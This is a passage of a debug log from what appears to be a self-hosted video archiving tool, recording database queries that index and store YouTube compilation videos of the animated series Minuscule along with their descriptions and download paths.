Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Pea supper | S03E01\n00:01:29 | Glue | S03E06\n00:03:06 | He Who Laughs Last, laughs Longest | S03E12\n00:04:35 | The Artist | S03E18\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#spider #peas #supper #techniques #Glue #Sticky #Spider #Trap #Minuscule #nature #insects #ladybugs #animatedseries", "Pea supper | Minuscule 🍃10' Compilation", "Z6u1Kv61MBA", 399, false, 5, "https://www.youtube.com/watch?v=Z6u1Kv61MBA", "/downloads/Miniscule Season 2/2025-03-15 Pea supper | Minuscule 🍃10' Compilation/Pea supper | Minuscule 🍃10' Compilation [Z6u1Kv61MBA].mp4", false, ~U[2025-03-15 19:00:46Z]] 22:15:46.107 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=6368.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:46.108 [debug] QUERY OK source="media_items" db=0.9ms idle=6368.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-08 19:00:43Z], 5] 22:15:46.430 [debug] QUERY OK source="media_items" db=320.8ms idle=6369.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n%CHAPTERS%\r\n \r\n%PLAYLIST%\r\n \r\nMinuscule in English 🇺🇸: https://youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Snow #Carrot #Ants #Ski #ant #snow #pinecone #colony #Minuscule #nature #insects #ladybugs #animatedseries", "Snow Carrot | Minuscule 🍃 15' Compilation", "ce754a04-5d9e-4816-84c3-f59f974cfd51", "yEQ3x5KByLI", 685, false, 5, "https://www.youtube.com/watch?v=yEQ3x5KByLI", 74, "/downloads/Miniscule Season 2/2025-03-08 Snow Carrot | Minuscule 🍃 15' Compilation/Snow Carrot | Minuscule 🍃 15' Compilation [yEQ3x5KByLI].mp4", false, false, false, [], 1, ~U[2025-03-08 19:00:43Z], ~U[2025-12-12 05:15:46Z], ~U[2025-12-12 05:15:46Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n%CHAPTERS%\r\n \r\n%PLAYLIST%\r\n \r\nMinuscule in English 🇺🇸: https://youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Snow #Carrot #Ants #Ski #ant #snow #pinecone #colony #Minuscule #nature #insects #ladybugs #animatedseries", "Snow Carrot | Minuscule 🍃 15' Compilation", "yEQ3x5KByLI", 685, false, 5, "https://www.youtube.com/watch?v=yEQ3x5KByLI", "/downloads/Miniscule Season 2/2025-03-08 Snow Carrot | Minuscule 🍃 15' Compilation/Snow Carrot | Minuscule 🍃 15' Compilation [yEQ3x5KByLI].mp4", false, ~U[2025-03-08 19:00:43Z]] 22:15:46.432 [debug] QUERY OK source="sources" db=1.0ms idle=325.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:46.433 [debug] QUERY OK source="media_items" db=1.1ms idle=325.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-04 07:00:49Z], 5] 22:15:46.436 [debug] QUERY OK source="media_items" db=2.0ms idle=326.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Grasshopper Who Didn't Know How To Leap | S02E13\r\n00:03:45 | An Acorn Season | S02E05\r\n00:07:31 | Chewing gum rodeo | S02E14\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#grasshopper #babies #leap #outcast #Acorn #Grasshopper #Insects #Justice #Minuscule #nature #insects #ladybugs #animatedseries", "The Grasshopper Who Didn't Know How To Leap | Minuscule 🍃 15' Compilation", "700cca2a-c525-45f6-8684-2482c1a7b251", "773g6-bqyv4", 715, false, 5, "https://www.youtube.com/watch?v=773g6-bqyv4", 75, "/downloads/Miniscule Season 2/2025-03-04 The Grasshopper Who Didn't Know How To Leap | Minuscule 🍃 15' Compilation/The Grasshopper Who Didn't Know How To Leap | Minuscule 🍃 15' Compilation [773g6-bqyv4].mp4", false, false, false, [], 1, ~U[2025-03-04 07:00:49Z], ~U[2025-12-12 05:15:46Z], ~U[2025-12-12 05:15:46Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Grasshopper Who Didn't Know How To Leap | S02E13\r\n00:03:45 | An Acorn Season | S02E05\r\n00:07:31 | Chewing gum rodeo | S02E14\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#grasshopper #babies #leap #outcast #Acorn #Grasshopper #Insects #Justice #Minuscule #nature #insects #ladybugs #animatedseries", "The Grasshopper Who Didn't Know How To Leap | Minuscule 🍃 15' Compilation", "773g6-bqyv4", 715, false, 5, "https://www.youtube.com/watch?v=773g6-bqyv4", "/downloads/Miniscule Season 2/2025-03-04 The Grasshopper Who Didn't Know How To Leap | Minuscule 🍃 15' Compilation/The Grasshopper Who Didn't Know How To Leap | Minuscule 🍃 15' Compilation [773g6-bqyv4].mp4", false, ~U[2025-03-04 07:00:49Z]] 22:15:46.437 [debug] QUERY OK source="sources" db=0.4ms idle=328.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:46.439 [debug] QUERY OK source="media_items" db=0.8ms idle=7.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-02-25 07:00:55Z], 5] 22:15:46.442 [debug] QUERY OK source="media_items" db=2.0ms idle=7.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Honey Fly | S02E08\r\n00:03:50 | Gather More to Pollinate More | S02E32\r\n00:07:35 | Beehive On A Troll | S02E56\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Honey #Fly #Bees #Admiration #gather #pollinate #productivity #competition #Minuscule #nature #insects #ladybugs #animatedseries", "Honey Fly 🐝 Minuscule 🍃 15' Compilation", "ac55e49d-5c23-4e8d-9879-13be61dfaacf", "uFP6qsmHsTU", 705, false, 5, "https://www.youtube.com/watch?v=uFP6qsmHsTU", 76, "/downloads/Miniscule Season 2/2025-02-25 Honey Fly 🐝 Minuscule 🍃 15' Compilation/Honey Fly 🐝 Minuscule 🍃 15' Compilation [uFP6qsmHsTU].mp4", false, false, false, [], 1, ~U[2025-02-25 07:00:55Z], ~U[2025-12-12 05:15:46Z], ~U[2025-12-12 05:15:46Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Honey Fly | S02E08\r\n00:03:50 | Gather More to Pollinate More | S02E32\r\n00:07:35 | Beehive On A Troll | S02E56\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Honey #Fly #Bees #Admiration #gather #pollinate #productivity #competition #Minuscule #nature #insects #ladybugs #animatedseries", "Honey Fly 🐝 Minuscule 🍃 15' Compilation", "uFP6qsmHsTU", 705, false, 5, "https://www.youtube.com/watch?v=uFP6qsmHsTU", "/downloads/Miniscule Season 2/2025-02-25 Honey Fly 🐝 Minuscule 🍃 15' Compilation/Honey Fly 🐝 Minuscule 🍃 15' Compilation [uFP6qsmHsTU].mp4", false, ~U[2025-02-25 07:00:55Z]] 22:15:46.443 [debug] QUERY OK source="sources" db=0.4ms idle=8.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:46.444 [debug] QUERY OK source="media_items" db=0.8ms idle=6.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-02-22 19:00:47Z], 5] 22:15:46.446 [debug] QUERY OK source="media_items" db=2.0ms idle=6.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Rascals! | S02E38\r\n00:03:39 | Away all boarders! | S02E41\r\n00:07:14 | Sand Castle | S02E49\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#ants #battle #steal #leader #cottage #pistachios #Minuscule #nature #insects #ladybugs #animatedseries", "Rascals! | Minuscule 🍃 15' Compilation", "1ba28143-7092-48bf-bbae-ff1f258b4475", "ix9apuOmP7E", 680, false, 5, "https://www.youtube.com/watch?v=ix9apuOmP7E", 77, "/downloads/Miniscule Season 2/2025-02-22 Rascals! | Minuscule 🍃 15' Compilation/Rascals! | Minuscule 🍃 15' Compilation [ix9apuOmP7E].mp4", false, false, false, [], 1, ~U[2025-02-22 19:00:47Z], ~U[2025-12-12 05:15:46Z], ~U[2025-12-12 05:15:46Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Rascals! | S02E38\r\n00:03:39 | Away all boarders! | S02E41\r\n00:07:14 | Sand Castle | S02E49\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#ants #battle #steal #leader #cottage #pistachios #Minuscule #nature #insects #ladybugs #animatedseries", "Rascals! | Minuscule 🍃 15' Compilation", "ix9apuOmP7E", 680, false, 5, "https://www.youtube.com/watch?v=ix9apuOmP7E", "/downloads/Miniscule Season 2/2025-02-22 Rascals! | Minuscule 🍃 15' Compilation/Rascals! | Minuscule 🍃 15' Compilation [ix9apuOmP7E].mp4", false, ~U[2025-02-22 19:00:47Z]] 22:15:46.448 [debug] QUERY OK source="sources" db=0.4ms idle=8.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:46.449 [debug] QUERY OK source="media_items" db=0.7ms idle=6.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-02-20 11:01:19Z], 5] 22:15:46.452 [debug] QUERY OK source="media_items" db=1.8ms idle=6.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Mission : BBQ | S02E09\r\n00:03:45 | The Chocolate Chase! | S02E19\r\n00:07:31 | Acrobatics | S02E16\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#BBQ #garden #insects #wasps #chocolate #centipede #bees #Minuscule #nature #ladybugs #animatedseries", "Mission : BBQ | Minuscule 🍃 15' Compilation", "11bb2e74-9f89-4672-9c60-6617598a6215", "HwAj0Zc2N1w", 715, false, 5, "https://www.youtube.com/watch?v=HwAj0Zc2N1w", 78, "/downloads/Miniscule Season 2/2025-02-20 Mission : BBQ | Minuscule 🍃 15' Compilation/Mission : BBQ | Minuscule 🍃 15' Compilation [HwAj0Zc2N1w].mp4", false, false, false, [], 1, ~U[2025-02-20 11:01:19Z], ~U[2025-12-12 05:15:46Z], ~U[2025-12-12 05:15:46Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Mission : BBQ | S02E09\r\n00:03:45 | The Chocolate Chase! | S02E19\r\n00:07:31 | Acrobatics | S02E16\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#BBQ #garden #insects #wasps #chocolate #centipede #bees #Minuscule #nature #ladybugs #animatedseries", "Mission : BBQ | Minuscule 🍃 15' Compilation", "HwAj0Zc2N1w", 715, false, 5, "https://www.youtube.com/watch?v=HwAj0Zc2N1w", "/downloads/Miniscule Season 2/2025-02-20 Mission : BBQ | Minuscule 🍃 15' Compilation/Mission : BBQ | Minuscule 🍃 15' Compilation [HwAj0Zc2N1w].mp4", false, ~U[2025-02-20 11:01:19Z]] 22:15:46.452 [debug] QUERY OK source="sources" db=0.4ms idle=8.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:46.454 [debug] QUERY OK source="media_items" db=0.8ms idle=6.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-02-15 19:00:46Z], 5] 22:15:46.457 [debug] QUERY OK source="media_items" db=2.0ms idle=6.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Fly Hunting | S02E24\r\n00:03:33 | Zzz In The Metro | S02E53\r\n00:07:01 | Umbrella And Coconut Trees | S02E71\r\n00:10:27 | Turbo speed | S02E58\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#fly #hunting #ladybug #pursuit #flies #chase #metro #Minuscule #nature #insects #ladybugs #animatedseries", "Fly Hunting 🐞 Minuscule 🍃 20' Compilation", "9b00aa9f-a39c-4393-8f83-c62f25ed9b57", "K543vJYczNU", 900, false, 5, "https://www.youtube.com/watch?v=K543vJYczNU", 79, "/downloads/Miniscule Season 2/2025-02-15 Fly Hunting 🐞 Minuscule 🍃 20' Compilation/Fly Hunting 🐞 Minuscule 🍃 20' Compilation [K543vJYczNU].mp4", false, false, false, [], 1, ~U[2025-02-15 19:00:46Z], ~U[2025-12-12 05:15:46Z], ~U[2025-12-12 05:15:46Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Fly Hunting | S02E24\r\n00:03:33 | Zzz In The Metro | S02E53\r\n00:07:01 | Umbrella And Coconut Trees | S02E71\r\n00:10:27 | Turbo speed | S02E58\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#fly #hunting #ladybug #pursuit #flies #chase #metro #Minuscule #nature #insects #ladybugs #animatedseries", "Fly Hunting 🐞 Minuscule 🍃 20' Compilation", "K543vJYczNU", 900, false, 5, "https://www.youtube.com/watch?v=K543vJYczNU", "/downloads/Miniscule Season 2/2025-02-15 Fly Hunting 🐞 Minuscule 🍃 20' Compilation/Fly Hunting 🐞 Minuscule 🍃 20' Compilation [K543vJYczNU].mp4", false, ~U[2025-02-15 19:00:46Z]] 22:15:46.458 [debug] QUERY OK source="sources" db=0.4ms idle=8.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:46.459 [debug] QUERY OK source="media_items" db=0.8ms idle=6.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-02-11 11:01:26Z], 5] 22:15:46.462 [debug] QUERY OK source="media_items" db=2.0ms idle=6.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Grocery Store Racketeer | S02E50\r\n00:03:27 | Ladybugland | S02E62\r\n00:06:47 | The Grocery Store Incident | S02E39\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Grocery #Spider #Bullying #Revenge #ladybug #spider #toys #danger #Minuscule #nature #insects #ladybugs #animatedseries", "The Grocery Store Racketeer 🕷️ Minuscule 🍃 15' Compilation", "7ec7c777-0d71-45d4-a435-57d12d3577cf", "N-GZ_mZLq40", 657, false, 